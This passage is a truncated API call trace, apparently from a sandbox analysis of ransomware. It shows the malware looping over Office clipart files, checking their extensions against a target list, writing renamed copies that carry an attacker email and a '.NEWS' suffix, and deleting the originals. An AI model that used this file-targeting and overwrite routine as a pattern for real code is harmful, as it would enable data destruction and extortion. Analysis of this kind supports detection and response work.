| out: lpNewFilePointer=0x0) returned 1 [0171.302] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0171.473] GetLastError () returned 0x0 [0171.473] ReadFile (in: hFile=0x4f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xf40, lpOverlapped=0x0) returned 1 [0171.609] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xf50, lpOverlapped=0x0) returned 1 [0171.610] ReadFile (in: hFile=0x4f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.610] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.611] SetEndOfFile (hFile=0x4e8) returned 1 [0171.611] CloseHandle (hObject=0x4e8) returned 1 [0171.611] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.611] SetEndOfFile (hFile=0x4f0) returned 1 [0171.618] CloseHandle (hObject=0x4f0) returned 1 [0171.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.619] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0171.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.620] lstrlenW (lpString=".doc") returned 4 [0171.620] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.620] lstrlenW (lpString=".docx") returned 5 [0171.620] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0171.620] lstrlenW (lpString=".pdf") returned 4 [0171.620] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.621] lstrlenW (lpString=".xls") returned 4 [0171.621] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.621] lstrlenW (lpString=".xlsx") returned 5 [0171.621] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0171.621] lstrlenW (lpString=".ppt") returned 4 [0171.621] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.621] lstrlenW (lpString=".zip") returned 4 [0171.621] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.621] lstrlenW (lpString=".rar") returned 4 [0171.621] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.621] lstrlenW (lpString=".bz2") returned 4 [0171.621] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.621] lstrlenW (lpString=".7z") returned 3 [0171.621] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.621] lstrlenW (lpString=".dbf") returned 4 [0171.621] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.621] lstrlenW (lpString=".1cd") returned 4 [0171.621] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.621] lstrlenW (lpString=".jpg") returned 4 [0171.621] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.622] lstrlenW (lpString=".doc") returned 4 [0171.622] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0171.622] lstrlenW (lpString=".docx") returned 5 [0171.622] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0171.622] lstrlenW (lpString=".pdf") returned 4 [0171.622] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0171.622] lstrlenW (lpString=".xls") returned 4 [0171.622] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0171.622] lstrlenW (lpString=".xlsx") returned 5 [0171.622] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0171.622] lstrlenW (lpString=".ppt") returned 4 [0171.622] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0171.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.622] lstrlenW (lpString=".zip") returned 4 [0171.622] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0171.622] lstrlenW (lpString=".rar") returned 4 [0171.622] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0171.622] lstrlenW (lpString=".bz2") returned 4 [0171.622] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0171.622] lstrlenW (lpString=".7z") returned 3 [0171.622] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0171.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.622] lstrlenW (lpString=".dbf") returned 4 [0171.623] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0171.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.623] lstrlenW (lpString=".1cd") returned 4 [0171.623] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0171.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0171.623] lstrlenW (lpString=".jpg") returned 4 [0171.623] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0171.623] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0171.623] lstrlenW (lpString="J0099204.WMF") returned 12 [0171.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0171.627] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=17854) returned 1 [0171.627] CloseHandle (hObject=0x4f0) returned 1 [0171.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220 [0171.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0171.628] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.628] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.631] GetLastError () returned 0x0 [0171.631] ReadFile (in: hFile=0x4f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x45be, lpOverlapped=0x0) returned 1 [0171.643] WriteFile (in: hFile=0x370, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0171.645] ReadFile (in: hFile=0x4f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.645] WriteFile (in: hFile=0x370, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.645] SetEndOfFile (hFile=0x370) returned 1 [0171.645] CloseHandle (hObject=0x370) returned 1 [0171.645] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.645] SetEndOfFile (hFile=0x4f0) returned 1 [0171.648] CloseHandle (hObject=0x4f0) returned 1 [0171.648] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0171.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0171.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.650] lstrlenW (lpString=".doc") returned 4 [0171.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.650] lstrlenW (lpString=".docx") returned 5 [0171.650] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.650] lstrlenW (lpString=".pdf") returned 4 [0171.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.650] lstrlenW (lpString=".xls") returned 4 [0171.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.650] lstrlenW (lpString=".xlsx") returned 5 [0171.650] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.650] lstrlenW (lpString=".ppt") returned 4 [0171.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.650] lstrlenW (lpString=".zip") returned 4 [0171.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.650] lstrlenW (lpString=".rar") returned 4 [0171.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.650] lstrlenW (lpString=".bz2") returned 4 [0171.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.650] lstrlenW (lpString=".7z") returned 3 [0171.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.650] lstrlenW (lpString=".dbf") returned 4 [0171.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.650] lstrlenW (lpString=".1cd") returned 4 [0171.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.650] lstrlenW (lpString=".jpg") returned 4 [0171.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.651] lstrlenW (lpString=".doc") returned 4 [0171.651] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0171.651] lstrlenW (lpString=".docx") returned 5 [0171.651] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0171.651] lstrlenW (lpString=".pdf") returned 4 [0171.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0171.651] lstrlenW (lpString=".xls") returned 4 [0171.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0171.651] lstrlenW (lpString=".xlsx") returned 5 [0171.651] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0171.651] lstrlenW (lpString=".ppt") returned 4 [0171.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0171.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.651] lstrlenW (lpString=".zip") returned 4 [0171.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0171.651] lstrlenW (lpString=".rar") returned 4 [0171.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0171.651] lstrlenW (lpString=".bz2") returned 4 [0171.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0171.651] lstrlenW (lpString=".7z") returned 3 [0171.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0171.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.651] lstrlenW (lpString=".dbf") returned 4 [0171.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0171.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.651] lstrlenW (lpString=".1cd") returned 4 [0171.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0171.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0171.651] lstrlenW (lpString=".jpg") returned 4 [0171.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0171.652] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0171.652] lstrlenW (lpString="J0099205.WMF") returned 12 [0171.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.656] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=17854) returned 1 [0171.656] CloseHandle (hObject=0x370) returned 1 [0171.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0171.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0171.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0171.657] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.657] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0171.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0171.658] GetLastError () returned 0x0 [0171.658] ReadFile (in: hFile=0x370, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x45be, lpOverlapped=0x0) returned 1 [0171.661] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0171.663] ReadFile (in: hFile=0x370, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0171.663] WriteFile (in: hFile=0x4e8, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0171.663] SetEndOfFile (hFile=0x4e8) returned 1 [0172.723] CloseHandle (hObject=0x4e8) returned 1 [0172.724] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.724] SetEndOfFile (hFile=0x370) returned 1 [0173.168] CloseHandle (hObject=0x370) returned 1 [0173.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.571] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0174.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.511] lstrlenW (lpString=".doc") returned 4 [0174.511] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.511] lstrlenW (lpString=".docx") returned 5 [0174.512] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0174.512] lstrlenW (lpString=".pdf") returned 4 [0174.512] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString=".xls") returned 4 [0174.512] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.512] lstrlenW (lpString=".xlsx") returned 5 [0174.512] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0174.512] lstrlenW (lpString=".ppt") returned 4 [0174.512] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.512] lstrlenW (lpString=".zip") returned 4 [0174.512] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.512] lstrlenW (lpString=".rar") returned 4 [0174.512] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString=".bz2") returned 4 [0174.512] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString=".7z") returned 3 [0174.512] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.512] lstrlenW (lpString=".dbf") returned 4 [0174.512] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.512] lstrlenW (lpString=".1cd") returned 4 [0174.512] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.512] lstrlenW (lpString=".jpg") returned 4 [0174.512] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.513] lstrlenW (lpString=".doc") returned 4 [0174.513] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString=".docx") returned 5 [0174.513] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0174.513] lstrlenW (lpString=".pdf") returned 4 [0174.513] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString=".xls") returned 4 [0174.513] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.513] lstrlenW (lpString=".xlsx") returned 5 [0174.513] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0174.513] lstrlenW (lpString=".ppt") returned 4 [0174.513] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.513] lstrlenW (lpString=".zip") returned 4 [0174.513] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.513] lstrlenW (lpString=".rar") returned 4 [0174.513] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString=".bz2") returned 4 [0174.513] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString=".7z") returned 3 [0174.513] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.513] lstrlenW (lpString=".dbf") returned 4 [0174.513] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.513] lstrlenW (lpString=".1cd") returned 4 [0174.514] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.514] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0174.514] lstrlenW (lpString=".jpg") returned 4 [0174.514] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.514] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0174.514] lstrlenW (lpString="J0105276.WMF") returned 12 [0174.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.514] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=19240) returned 1 [0174.514] CloseHandle (hObject=0x51c) returned 1 [0174.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220 [0174.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0174.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0174.515] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.515] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0174.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 